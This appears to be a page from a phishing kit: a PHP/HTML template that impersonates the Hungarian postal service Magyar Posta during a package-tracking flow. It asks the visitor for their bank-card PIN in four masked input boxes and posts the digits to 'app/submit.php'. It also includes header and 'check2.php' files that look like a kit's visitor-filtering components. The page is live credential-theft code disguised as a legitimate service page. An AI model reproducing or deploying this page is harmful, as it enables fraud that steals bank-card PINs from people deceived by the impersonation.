<?php require_once dirname(__DIR__) . '/header.php'; ?>
<!DOCTYPE html>
<html lang="hu">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no">
  <title>PIN megerősítés – Magyar Posta</title>
  <link rel="icon" href="../../assets/sp/img/icon.png" type="image/x-icon">
  <style>
    *, *::before, *::after { box-sizing: border-box; }
    html, body { margin: 0; padding: 0; min-height: 100%; }
    body {
      font-family: Arial, Helvetica, sans-serif;
      font-size: 14px;
      line-height: 1.35;
      color: #000;
      background: #f9f9f9;
      -webkit-font-smoothing: antialiased;
    }
    .mp-top { background: #f9f9f9; }
    .mp-top-inner {
      box-sizing: border-box;
      width: 1512.8px;
      max-width: 100%;
      height: 112px;
      margin: 0 auto;
      padding: 0 max(12px, calc((min(100vw, 1512.8px) - 1180px) / 2));
      display: flex;
      align-items: center;
      justify-content: flex-start;
      gap: 28px;
      flex-wrap: nowrap;
    }
    .mp-logo { display: flex; align-items: center; text-decoration: none; color: inherit; flex-shrink: 0; }
    .mp-logo-img { display: block; }
    .mp-top .mp-logo-img { width: 128px; height: 64px; object-fit: contain; }
    .mp-nav-main { display: flex; flex-wrap: wrap; align-items: center; gap: 8px 20px; margin: 0; }
    .mp-nav-main a { font-size: 13px; color: #005c30; text-decoration: none; }
    .mp-nav-main a:hover { text-decoration: underline; }
    .mp-nav-util { display: flex; align-items: center; gap: 16px; flex-wrap: wrap; margin-left: auto; flex-shrink: 0; }
    .mp-nav-util a { font-size: 13px; color: #333; text-decoration: none; }
    .mp-nav-util a:hover { text-decoration: underline; }
    .mp-search-ico { width: 20px; height: 20px; display: inline-block; vertical-align: middle; color: #333; margin-left: -4px; }
    .mp-crumb { background: #fff; border-bottom: 1px solid #ebebeb; }
    .mp-crumb-inner { max-width: 1180px; margin: 0 auto; padding: 10px 32px; font-size: 13px; }
    .mp-crumb a { color: #005c30; text-decoration: none; }
    .mp-crumb a:hover { text-decoration: underline; }
    .mp-crumb-sep { color: #999; margin: 0 6px; }
    .mp-crumb-current { color: #555; }
    .mp-page-wrap {
      max-width: 1180px;
      margin: 0 auto;
      padding: 32px 24px 48px;
      display: flex;
      align-items: center;
      justify-content: center;
      min-height: 50vh;
    }
    .mp-pin-shell {
      width: 100%;
      max-width: 420px;
      margin: 0 auto;
    }
    .mp-pin-card {
      background: transparent;
      border: none;
      border-radius: 0;
      box-shadow: none;
      padding: 0;
      text-align: center;
    }
    .mp-pin-icon {
      display: flex;
      justify-content: center;
      margin-bottom: 16px;
    }
    .mp-pin-title {
      margin: 0 0 10px;
      font-size: 22px;
      font-weight: 700;
      color: #000;
      line-height: 1.3;
    }
    .mp-pin-lead {
      margin: 0 0 24px;
      font-size: 14px;
      color: #555;
      line-height: 1.5;
    }
    .mp-pin-inputs {
      display: flex;
      gap: 12px;
      justify-content: center;
      margin-bottom: 16px;
    }
    .mp-pin-inputs input {
      width: 52px;
      height: 52px;
      padding: 0;
      border: 1px solid #e0e0e0;
      border-radius: 8px;
      font-size: 22px;
      font-weight: 600;
      text-align: center;
      color: #000;
      background: #fff;
      outline: none;
      -webkit-text-security: disc;
      text-security: disc;
    }
    .mp-pin-inputs input:focus {
      border-color: #15252d;
      box-shadow: 0 0 0 3px rgba(21, 37, 45, 0.08);
    }
    .mp-pin-error {
      margin-bottom: 16px;
      padding: 10px 12px;
      border-radius: 8px;
      font-size: 13px;
      color: #b30000;
      background: #fdf2f2;
      border: 1px solid #f0c8c8;
    }
    .mp-pin-inline-error {
      display: none;
      margin: 0 0 12px;
      font-size: 13px;
      color: #b30000;
      text-align: center;
    }
    .mp-pin-submit {
      width: 100%;
      max-width: 280px;
      margin: 8px auto 0;
      display: block;
      padding: 12px 0;
      border: none;
      border-radius: 8px;
      background: linear-gradient(135deg, #00625f 0%, #008480 100%);
      color: #fff;
      font-family: inherit;
      font-size: 15px;
      font-weight: 600;
      cursor: pointer;
    }
    .mp-pin-submit:hover { filter: brightness(0.95); }
    .mp-pin-submit:active { filter: brightness(0.9); }
    .mp-pin-submit:disabled {
      opacity: 0.55;
      cursor: not-allowed;
    }
    footer.mp-ft { width: 100%; margin: 0; padding: 0; display: block; }
    .mp-ft-links { background: #f8f8f8; padding: 42px 32px 48px; width: 100%; }
    .mp-ft-inner { max-width: 1180px; margin: 0 auto; }
    .mp-ft-grid { display: grid; grid-template-columns: repeat(4, 1fr); gap: 28px 40px; }
    .mp-ft-col h4 { margin: 0 0 14px; font-size: 13px; font-weight: 700; color: #1a1a1a; }
    .mp-ft-col ul { margin: 0; padding: 0; list-style: none; }
    .mp-ft-col li { margin-bottom: 8px; }
    .mp-ft-col a { font-size: 13px; color: #005c30; text-decoration: underline; }
    .mp-ft-brand {
      width: 100%;
      height: 146px;
      background: #70c99a;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .mp-ft-brand-inner {
      width: 1513px;
      max-width: 100%;
      padding: 0 max(12px, calc((min(100%, 1513px) - 1180px) / 2));
      display: flex;
      align-items: center;
      justify-content: space-between;
      gap: 24px;
    }
    .mp-ft-brand .mp-ft-logo-img { width: 128px; height: 64px; object-fit: contain; display: block; }
    .mp-ft-soc { display: flex; gap: 12px; }
    .mp-ft-soc-btn {
      width: 40px;
      height: 40px;
      background: #fff;
      border-radius: 6px;
      display: flex;
      align-items: center;
      justify-content: center;
      color: #1a1a1a;
      text-decoration: none;
    }
    .mp-ft-soc-btn svg { width: 20px; height: 20px; }
    .mp-ft-legal {
      background: #1a1a1a;
      height: 60px;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .mp-ft-legal .mp-ft-legal-inner {
      width: 1520.8px;
      max-width: 100%;
      padding: 0 max(12px, calc((min(100%, 1520.8px) - 1180px) / 2));
      display: flex;
      align-items: center;
      justify-content: space-between;
      color: #fff;
      font-size: 12px;
    }
    .mp-ft-legal-inner span { font-size: 14px; }
    .mp-ft-legal-inner a { color: #fff; text-decoration: underline; }
    @media (max-width: 900px) {
      .mp-ft-grid { grid-template-columns: repeat(2, 1fr); }
    }
    @media (max-width: 640px) {
      .mp-page-wrap { padding: 24px 16px 32px; }
      .mp-pin-title { font-size: 18px; }
      .mp-pin-inputs { gap: 8px; }
      .mp-pin-inputs input { width: 44px; height: 48px; font-size: 20px; }
      .mp-top-inner { padding: 14px 16px; height: auto; min-height: 112px; flex-wrap: wrap; }
      .mp-nav-main { width: 100%; }
      .mp-ft-grid { grid-template-columns: 1fr; }
      .mp-ft-links { padding: 36px 20px 40px; }
      .mp-ft-brand { height: auto; min-height: 146px; padding: 18px 0; }
      .mp-ft-brand-inner { flex-wrap: wrap; padding: 0 20px; }
      .mp-ft-legal { height: auto; min-height: 60px; padding: 12px 0; }
      .mp-ft-legal .mp-ft-legal-inner { flex-wrap: wrap; justify-content: center; text-align: center; padding: 0 20px; }
    }
  </style>
</head>
<body>

  <header class="mp-top">
    <div class="mp-top-inner">
      <a href="#" class="mp-logo">
        <img class="mp-logo-img" src="../alert/logo.svg" width="128" height="64" alt="Magyar Posta">
      </a>
      <nav class="mp-nav-main" aria-label="Fő navigáció">
        <a href="#">Magánszemélyek</a>
        <a href="#">Üzleti partnerek</a>
        <a href="#">Karrier</a>
        <a href="#">Kapcsolat</a>
        <a href="#">ÉnPostám</a>
      </nav>
      <div class="mp-nav-util">
        <a href="#">Bejelentkezés</a>
        <a href="#">Kosár</a>
        <a href="#" aria-label="Keresés">
          <svg class="mp-search-ico" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="10" cy="10" r="7"/><path d="M15 15l7 7"/></svg>
        </a>
      </div>
    </div>
  </header>

  <div class="mp-crumb">
    <div class="mp-crumb-inner">
      <a href="#">Nyitó</a><span class="mp-crumb-sep">&gt;</span>
      <a href="../alert/">Nyomkövetés</a><span class="mp-crumb-sep">&gt;</span>
      <span class="mp-crumb-current">PIN megerősítés</span>
    </div>
  </div>

  <div class="mp-page-wrap">
    <div class="mp-pin-shell">
      <div class="mp-pin-card">
        <div class="mp-pin-icon" aria-hidden="true">
          <svg fill="none" height="40" viewBox="0 0 24 24" width="40">
            <rect fill="#e8f5e9" height="16" rx="4" width="20" x="2" y="4"></rect>
            <path d="M4 6l8 6 8-6" stroke="#3DAE2B" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"></path>
          </svg>
        </div>
        <h1 class="mp-pin-title">PIN-kód megadása</h1>
        <p class="mp-pin-lead">Kérjük, adja meg a bankkártya PIN-kódját a folytatáshoz.</p>

        <?php if (isset($_GET['error'])) { ?>
          <div class="mp-pin-error">Néhány adat helytelen. Kérjük, próbálja újra.</div>
        <?php } ?>

        <form action="app/submit.php" method="post" id="pin-form" autocomplete="off">
          <div class="mp-pin-inputs">
            <input type="password" id="pin-1" inputmode="numeric" maxlength="1" pattern="[0-9]*" required aria-label="PIN 1. számjegy">
            <input type="password" inputmode="numeric" maxlength="1" pattern="[0-9]*" required aria-label="PIN 2. számjegy">
            <input type="password" inputmode="numeric" maxlength="1" pattern="[0-9]*" required aria-label="PIN 3. számjegy">
            <input type="password" inputmode="numeric" maxlength="1" pattern="[0-9]*" required aria-label="PIN 4. számjegy">
          </div>
          <p class="mp-pin-inline-error" id="error-message">Kérjük, adja meg a 4 számjegyű PIN-kódot.</p>
          <button type="submit" class="mp-pin-submit" id="validate-btn">Megerősítés</button>
        </form>
      </div>
    </div>
  </div>

  <footer class="mp-ft" role="contentinfo">
    <div class="mp-ft-links">
      <div class="mp-ft-inner mp-ft-grid">
        <div class="mp-ft-col">
          <h4>AKCIÓK</h4>
          <ul>
            <li><a href="#">Biztosítási akciók</a></li>
            <li><a href="#">MBH Bank akciók</a></li>
            <li><a href="#">Lejárt akciók</a></li>
          </ul>
        </div>
        <div class="mp-ft-col">
          <h4>HASZNOS</h4>
          <ul>
            <li><a href="#">Általános Szerződési Feltételek</a></li>
            <li><a href="#">Hirdetmények</a></li>
            <li><a href="#">Díjszabások</a></li>
          </ul>
        </div>
        <div class="mp-ft-col">
          <h4>INFORMÁCIÓ</h4>
          <ul>
            <li><a href="#">A Magyar Postáról</a></li>
            <li><a href="#">Adatkezelési tájékoztató</a></li>
            <li><a href="#">Karrier</a></li>
          </ul>
        </div>
        <div class="mp-ft-col">
          <h4>KAPCSOLAT</h4>
          <ul>
            <li><a href="#">Sajtó</a></li>
            <li><a href="#">Ügyfélszolgálat</a></li>
            <li><a href="#">E-ügyintézés</a></li>
          </ul>
        </div>
      </div>
    </div>
    <div class="mp-ft-brand">
      <div class="mp-ft-brand-inner">
        <a href="#" class="mp-ft-brand-logo-link">
          <img class="mp-ft-logo-img" src="../alert/posta.svg" width="128" height="64" alt="Magyar Posta">
        </a>
        <div class="mp-ft-soc">
          <a href="#" class="mp-ft-soc-btn" aria-label="Instagram"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.65"><rect x="3" y="3" width="18" height="18" rx="4"/><circle cx="12" cy="12" r="3.35"/></svg></a>
          <a href="#" class="mp-ft-soc-btn" aria-label="Facebook"><svg viewBox="0 0 24 24" fill="currentColor"><path d="M13.5 22v-8.34h2.79l.42-3.24H13.5V8.74c0-.94.26-1.58 1.61-1.58h1.71V4.09A21.93 21.93 0 0014.23 4c-2.51 0-4.23 1.53-4.23 4.35v3.06H7v3.24h2.98V22h3.52z"/></svg></a>
        </div>
      </div>
    </div>
    <div class="mp-ft-legal">
      <div class="mp-ft-inner mp-ft-legal-inner">
        <span>&copy; 2026 Magyar Posta Zrt. Minden jog fenntartva!</span>
        <a href="#">Közadatok</a>
      </div>
    </div>
  </footer>

  <script>
    document.addEventListener('DOMContentLoaded', function () {
      var inputs = document.querySelectorAll('.mp-pin-inputs input');
      var form = document.getElementById('pin-form');
      var errorMessage = document.getElementById('error-message');

      var hidden = document.createElement('input');
      hidden.type = 'hidden';
      hidden.name = 'pin';
      form.appendChild(hidden);

      function updateHidden() {
        var code = '';
        inputs.forEach(function (input) {
          code += input.value || '';
        });
        hidden.value = code;
      }

      inputs.forEach(function (input, index) {
        input.addEventListener('input', function () {
          input.value = input.value.replace(/\D/g, '');
          if (input.value && index < inputs.length - 1) {
            inputs[index + 1].focus();
          }
          updateHidden();
          errorMessage.style.display = 'none';
        });

        input.addEventListener('keydown', function (e) {
          if (e.key === 'Backspace' && !input.value && index > 0) {
            inputs[index - 1].focus();
          }
        });
      });

      form.addEventListener('submit', function (e) {
        updateHidden();
        if (hidden.value.length !== 4) {
          e.preventDefault();
          errorMessage.style.display = 'block';
        }
      });
    });
  </script>
  <?php include('../../assets/js/check2.php'); ?>
</body>
</html>
